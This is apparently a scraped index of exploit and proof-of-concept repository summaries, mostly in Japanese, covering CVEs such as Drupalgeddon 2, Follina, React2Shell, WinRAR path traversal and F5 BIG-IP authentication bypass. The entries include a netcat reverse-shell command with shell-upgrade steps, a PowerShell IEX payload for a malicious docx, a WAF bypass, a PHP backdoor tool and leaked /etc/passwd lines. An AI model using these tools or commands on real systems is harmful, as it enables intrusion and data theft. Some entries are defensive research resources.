CVE-2018-7600

CVE-2018-7600 CVE-2018-7600 Drupal SA-CORE-2018-002 Drupalgeddon 2 の PoC。 インストール: $ git clone https://github.com/dwisiswant0/CVE-2018-7600 $ cd CVE-2018-7600/ $ composer install 使用方法: $ php exploit.php 警告! 教育目的のみで使用してください！ 参考文献: - https://research.checkpoint.com/uncovering-drupalgeddon-2/ -...

MSDT_CVE-2022-30190

MSDTCVE-2022-30190 このリポジトリは、Defenderの視点からFollina MSDTについて解説しています。 目次 概要 タイムライン エクスプロイトの理解 IOCリスト 検出戦略 テストと調査 緩和策 参照 概要 このバグは、Shadow Chaser Group の crazyman によって報告された、Microsoft Windows サポート診断ツール MSDT のリモートコード実行 RCE 脆弱性です。Microsoft は現在これを CVE-2022-30190 として追跡しています。この欠陥は、セキュリティ更新プログラムが提供されているすべての...

React2Shell-Library

React2Shell ライブラリ CVE-2025-55182 （React Server Componentsにおける重大なリモートコード実行（RCE）脆弱性、通称 「React2Shell」 ）に関する厳選されたリソースリストです。 目的: React2Shell脆弱性の歴史、メカニズム、および修正方法を研究者やセキュリティエンジニア向けに文書化すること。 📚 ライブラリの内容 コアインテリジェンス 研究・分析 検出・防御 コミュニティ・議論 悪用 メディア・脅威インテリジェンス コアインテリジェンス 公式ドキュメントと深刻度スコアリング。 NVD - CVE-2025-55182...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Microsoft Office Word リモートコード実行を悪用する悪意のある docx ジェネレーター このスクリプトは、LockedByte による CVE-2021-40444 PoC と Tothi による writeup に基づいています。 使用方法 まず backup.html を修正し、PowerShell ペイロードを置き換えてください。現在は、IEX'calc.exe' を使用して calc.exe を起動するだけです。 python3 exploit.py generate http://...

CVE-2023-0297

pyloadCVE-2023-0297PoC pyLoad 0.5.0b3.dev31 より前のバージョンにおけるコードインジェクションの脆弱性により、js2py の機能を悪用して認証前の RCE が可能になります。 使用方法 CVE-2023-0297poc.exe の使用方法: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...

CVE-2023-32571-POC

Dynamic Linq インジェクションによる RCE - CVE-2023-32571 Dynamic Linq インジェクションによる RCE について（CVE-2023-32571） 最近、NCC Group のメンバーが Dynamic Linq の脆弱性を発見しました。この脆弱性により、攻撃者は Linq インジェクションを介して C 関数を呼び出し、RCE を達成できる可能性があります。 Dynamic Linq に関する RCE の報告があったにもかかわらず、NCC Group のメンバーはなぜかコマンド実行用の POC を公開しませんでした。 POC NCC Group...

CVE-2025-55182-bypass

CVE-2025-55182 Header Bypass CVE-2025-55182 の Next-Action ヘッダーバイパス。特徴的なヘッダーなしで React RSC RCE を達成し、WAF ルールを回避します。 重要な発見 Next-Action ヘッダーは 必須ではありません 。 攻撃ベクトル| Next-Action ヘッダー| WAF 検出 ---|---|--- 元の CVE| 必須| 検出可能 このバイパス| 不要| ヘッダールールを回避 仕組み...

CVE-2025-54100

CVE-2025-54100 – PowerShell レスポンス解析 PoC CVE-2025-54100 が悪意のあるHTML解析を介してWindows PowerShell 5.1でリモートコード実行（RCE）を引き起こす方法を示す簡潔な概念実証（PoC）です。 目次 CVE-2025-54100とは？ PoCの仕組み クイックスタート 被害ホストからのトリガー トラブルシューティングと確認 証拠 緩和策 免責事項 参考文献 CVE-2025-54100とは？ タイプ: -UseBasicParsingを使用しない...

CVE-2025-24893

CVE-2025-24893 用リバースシェル python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" シェルのアップグレード 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2025-14174-Poc

CVE-2025-14174 PoCエクスプロイト 概要 このリポジトリには、ANGLEグラフィックスエンジンにおける深刻なメモリ破損の脆弱性であるCVE-2025-14174（別名EUVD-2025-203113）に対する完全に機能する概念実証（PoC）エクスプロイトが含まれています。この欠陥は、メモリバッファの境界内での操作の不適切な制限（CWE-119）に起因し、特別に細工されたWebコンテンツを介して境界外メモリアクセスを可能にします。 このエクスプロイトはWebブラウザを対象としており、主にiOSデバイス（iOS...

CVE-2025-6218

CVE-2025-6218 | ZDI-CAN-27198 | ZDI-25-409 - WinRAR パストラバーサル - リモートコード実行 RCE 概念実証 詳細情報: https://www.win-rar.com/singlenewsview.html?&L=0 https://www.cvedetails.com/cve/CVE-2025-6218/ https://www.zerodayinitiative.com/advisories/ZDI-25-409/ RARLAB WinRAR ディレクトリトラバーサル リモートコード実行脆弱性。この脆弱性により、リモート攻撃者が...

CVE-2022-1388-rs

CVE-2022-1388-rs CVE-2022-1388 F5 BIG-IP iControl REST 認証バイパス RCE のためのスキャナーおよびインタラクティブシェル Rust 製 概要 まとめると、この脆弱性を悪用するためのリクエストに必要な条件の概要は次のとおりです。 Connection ヘッダーに X-F5-Auth-Token が含まれている必要がある X-F5-Auth-Token ヘッダーが存在している必要がある Host ヘッダーが localhost / 127.0.0.1 であるか、Connection ヘッダーに X-Forwarded-Host...

CVE-2025-9216

StoreEngine – 强大的WordPress电子商务插件，支持支付、会员、联盟营销、销售等 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sy...

CVE-2022-37332-RCE-

Foxit nday : 現在作業中... 実装に必要なのは JIT SPRAYING だけです..... また、Version: 9.0.1.1049 でテスト済みです。うん、わからないけど : お楽しみください...

CVE-2019-0708-Windows

CVE-2019-0708-Windows この記事では、Windows...

cve-2019-0227

cve-2019-0227 Apache Axis 1.4 リモートコード実行脆弱性 ローカルマシンでmsfのリスナーを設定する必要があります。また、コードの24〜30行目を変更する必要があります。 ＃これらの変数を自分の設定に合わせて変更する必要があります myip = “ 192.168.0.117 ” ＃ローカルマシンのIP target = “ 192.168.0.102 ” ＃ターゲットIP 网关= “ 192.168.0.1 ” ＃デフォルトゲートウェイ targetport = “ 8080 ” ＃ターゲットがAxisを実行しているポート（おそらく8080）...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 ポリグロットペイロード 過去数週間（2025年11月）、PDFファイルを処理する人気のPythonプロジェクトであるpdfminer.six（特にAIパイプラインで使用）において、興味深い脆弱性（CVE-2025-64512）が公開されました。この脆弱性は、pickle.loadsを介して信頼できないデータをデシリアライズすることでリモートコード実行を可能にし、PDFファイルを攻撃ベクトルとして利用します。ここまでは順調です：人気のあるPythonパッケージにおける重要な脆弱性です。私の注目を集めたのは、その悪用可能性でした👀。...

CVE-2023-33246_RocketMQ_RCE_EXPLOIT

CVE-2023-33246 RocketMQ リモートコード実行エクスプロイト CVE-2023-33246 RocketMQ リモートコード実行エクスプロイト 概要 RocketMQ は分散メッセージングおよびストリーミングプラットフォームです。 RocketMQ バージョン 5.1.0 以下は、任意のコードインジェクションに対して脆弱です。RocketMQ の Broker コンポーネントが外部ネットワークに公開されており、権限検証が欠如しています。攻撃者は設定更新機能を利用して、RocketMQ が実行されているシステムユーザーとしてコマンドを実行できます。さらに、攻撃者は...

CVE-2018-18925

CVE-2018-18925 Git のセルフホスト型ツール Gogs に対するリモートコード実行（Remote Code Execution）である CVE-2018-18925 の悪用。 Gogs は Macaron フレームワークをベースにしています。セッション管理に使用されるシステムは、PHP の仕組みと非常によく似ています。Cookie 内のセッション識別子は、ファイルシステム上のファイルにマッピングされます。Web サーバーは、セッション識別子（Cookie として）を含むリクエストを受信すると、ファイルシステム上のファイルを検索します。...

Remot3d

Remot3d - 簡単なエクスプロイト方法 近日更新予定 バックドアを瞬時に作成するのは簡単です。このバックドアは、PHP言語プログラムを実行するサーバー上のLinuxターミナルを介して、リモートプロセスで使用できます。 サーバー上で無効化されているシステムをバイパスするために作られており、特に /etc/passwd などの機密ファイルを読み取るためのものです。 Donate このプロジェクトがペネトレーションテストのお役に立ち、私をサポートしていただけるなら、コーヒー一杯をごちそうしてください : Screenshots...